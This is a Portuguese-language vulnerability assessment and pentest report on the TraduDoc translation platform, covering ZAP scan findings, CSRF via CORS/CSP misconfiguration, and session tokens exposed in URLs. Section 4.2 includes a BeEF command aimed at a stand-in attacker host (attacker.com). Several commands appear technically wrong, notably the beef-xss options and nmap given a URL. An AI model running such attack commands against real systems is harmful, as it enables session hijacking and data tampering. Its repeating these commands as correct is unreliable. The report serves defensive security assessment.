

TRADUDOC: RELATÓRIO DE AVALIAÇÃO DE VULNERABILIDADES

Bruno Sakamoto^{1, i}
Júlio Figueiredo^{2, ii}
Luiz Teles^{3, iii}
Rafael Sinkevicius^{4, iv}
Samuel Silva^{5, v}

1 INTRODUÇÃO

O sistema avaliado é o TraduDoc, uma plataforma de tradução automática de documentos, que integra tecnologias modernas como Java Spring Boot no backend, React/Vite no frontend, e Expo/React Native no aplicativo móvel. A plataforma também é hospedada na nuvem com AWS, usando Docker e Amplify para a gestão de containers e infraestrutura. Devido ao uso de dados sensíveis durante o processo de tradução de documentos e à exposição pública de alguns serviços, a segurança do sistema foi uma preocupação importante.

Este relatório tem como objetivo realizar uma análise detalhada de vulnerabilidades e um pentest para testar a segurança da aplicação. A análise foi dividida em duas partes: testes automatizados realizados com o OWASP ZAP e testes manuais realizados por meio de um pentest, com foco nas vulnerabilidades mais críticas identificadas.

A segurança da informação é vital para garantir a integridade e a confidencialidade dos dados dos usuários, especialmente em sistemas que lidam com documentos e dados sensíveis. A realização desses testes visa identificar e corrigir possíveis falhas de segurança que possam ser exploradas por atacantes.

2 OBJETIVOS E ESCOPO DA AVALIAÇÃO

Objetivo

O objetivo da avaliação foi identificar vulnerabilidades na plataforma TraduDoc e realizar um pentest para explorar duas falhas específicas, verificando seu impacto no sistema e propondo medidas corretivas.

Escopo da Avaliação

A avaliação de segurança cobriu as seguintes partes do sistema:

- API de tradução e endpoints públicos.
- Autenticação e controle de sessões.
- Infraestrutura na nuvem (AWS, Docker e Amplify).
- Frontend e comunicação com o backend.
- Armazenamento de dados sensíveis e gerenciamento de cookies.

A avaliação não incluiu:

- Testes físicos (somente segurança lógica foi considerada).
- Análise de malware ou ataques direcionados a terceiros (sites externos como Google Analytics).

3 METODOLOGIA

A metodologia utilizada para a análise de segurança seguiu duas etapas: testes automatizados e pentest manual. Ambas as abordagens ajudaram a identificar vulnerabilidades e a entender a viabilidade de exploração de falhas no sistema.

3.1 Configuração do Ambiente e Ferramentas de Testes Automatizados

Ambiente de Testes:

- Sistema operacional: Ubuntu 20.04.
- Versão das ferramentas: OWASP ZAP 2.16.1.
- Rede: Configuração de testes no ambiente de nuvem AWS, com endpoints públicos acessíveis.

Ferramentas Utilizadas:

- OWASP ZAP para análise automatizada de segurança, escaneamento de endpoints da API, validação de configurações de segurança, e identificação de vulnerabilidades comuns como XSS e falhas de autenticação.

Comandos Exemplos:

- `zap-cli quick-scan --url http://tradudoc.duckdns.org --timeout 60`
- Análise de cookies e headers para validação de segurança.

3.2 Pentest: Exploração das Vulnerabilidades Seleccionadas

Duas vulnerabilidades críticas foram seleccionadas para um pentest manual mais aprofundado:

1. Falha de configuração de segurança no CORS e políticas de CSP (Content Security Policy)
2. Exposição de dados sensíveis em URLs (informação no parâmetro de sessão)

Vulnerabilidade 1: Falha de Configuração de CORS e CSP

- Justificativa da Escolha: Durante o escaneamento automatizado, foi identificado que a política de CSP não estava configurada, e a configuração de CORS permitia solicitações de origens não confiáveis.
- Método de Exploração Adotado: Usamos BeEF para realizar um ataque Cross-Site Request Forgery (CSRF). Configuramos um atacante para enviar requisições para os endpoints da aplicação e manipular a autenticação de um usuário legítimo.

- Ferramentas Utilizadas: BeEF para injeção de código e testes de CORS. OWASP ZAP foi usado para confirmar a falta de CSP.
- Evidências: Ao realizar um ataque de CSRF, foi possível alterar o conteúdo de um arquivo traduzido sem o consentimento do usuário, demonstrando que a configuração inadequada de CORS pode permitir manipulações maliciosas.

Vulnerabilidade 2: Exposição de Dados Sensíveis em URL

- Justificativa da Escolha: O escaneamento com o OWASP ZAP detectou que dados sensíveis estavam sendo passados via URL, particularmente no parâmetro de sessão.
- Método de Exploração Adotado: Utilizamos o Wireshark para interceptar o tráfego de rede e capturar as URLs com parâmetros sensíveis, incluindo tokens de autenticação e IDs de sessão.
- Ferramentas Utilizadas: Wireshark para captura e análise de pacotes HTTP. Nmap para validação de expiração de sessões.
- Evidências: Foi possível visualizar dados de sessão e tokens de autenticação em texto claro nas URLs, comprovando que a aplicação não estava protegendo adequadamente informações sensíveis na comunicação HTTP.

4 RESULTADOS

4.1 Resultados da Varredura Automatizada

Durante a varredura automatizada com o OWASP ZAP, as seguintes vulnerabilidades foram encontradas:

1. Falha na Política de Segurança de Conteúdo (CSP): Risco: Médio
2. Configuração incorreta de CORS: Risco: Médio
3. Exposição de Tokens de Sessão em URL: Risco: Alto
4. Cookies sem as flags de segurança adequadas (HttpOnly, Secure, SameSite): Risco: Alto
5. Servidor vazando informações de versão: Risco: Médio

4.2 Resultados do Pentest

Vulnerabilidade 1 - Falha de Configuração de CORS e CSP

- Evidência: O ataque de CSRF foi bem-sucedido, permitindo a manipulação dos dados do usuário.
- Comando Executado: `beef-xss -u http://tradudoc.duckdns.org/api/translate -p http://attacker.com/attack`
- Impacto: Um atacante pode manipular traduções sem a interação do usuário, comprometendo a confiabilidade e a integridade dos documentos.

Vulnerabilidade 2 - Exposição de Dados Sensíveis em URL

- Evidência: A análise com Wireshark revelou tokens de autenticação na URL, que poderiam ser interceptados e usados para assumir a sessão de outro usuário.
- Comando Executado: `nmap --script=http-enum -p 80,443 http://tradudoc.duckdns.org`

- Impacto: Vazamento de credenciais de sessão, permitindo que um atacante se passe por um usuário legítimo e acesse documentos traduzidos.

5 DISCUSSÃO

As vulnerabilidades encontradas têm impacto direto na segurança e na confiabilidade do sistema. A exposição de tokens de sessão nas URLs compromete a segurança dos usuários, enquanto as falhas de configuração de CORS e CSP permitem que atacantes façam requisições maliciosas sem a interação do usuário, colocando a integridade dos dados em risco.

As melhores práticas de segurança, como a configuração adequada de CSP, CORS, e a proteção de dados sensíveis através de HTTPS e cookies seguros, são essenciais para mitigar esses riscos. Além disso, é fundamental não expor informações sensíveis em URLs e usar técnicas como OAuth2 para garantir a autenticação segura.

6 CONCLUSÃO

O sistema TraduDoc apresenta vulnerabilidades críticas que comprometem a segurança dos dados dos usuários e a integridade do serviço. A análise e os testes realizados demonstraram a necessidade urgente de ajustes nas configurações de segurança, como a implementação de políticas CSP, o fechamento de vulnerabilidades em CORS, e a proteção adequada de informações sensíveis. A partir das descobertas, foram sugeridas correções práticas que devem ser implementadas para garantir a robustez do sistema e proteger contra ataques externos.

7 REFERÊNCIAS

OWASP Foundation. OWASP ZAP Documentation. Disponível em: <https://www.zaproxy.org/docs/>. Acesso em: 16 dez. 2025.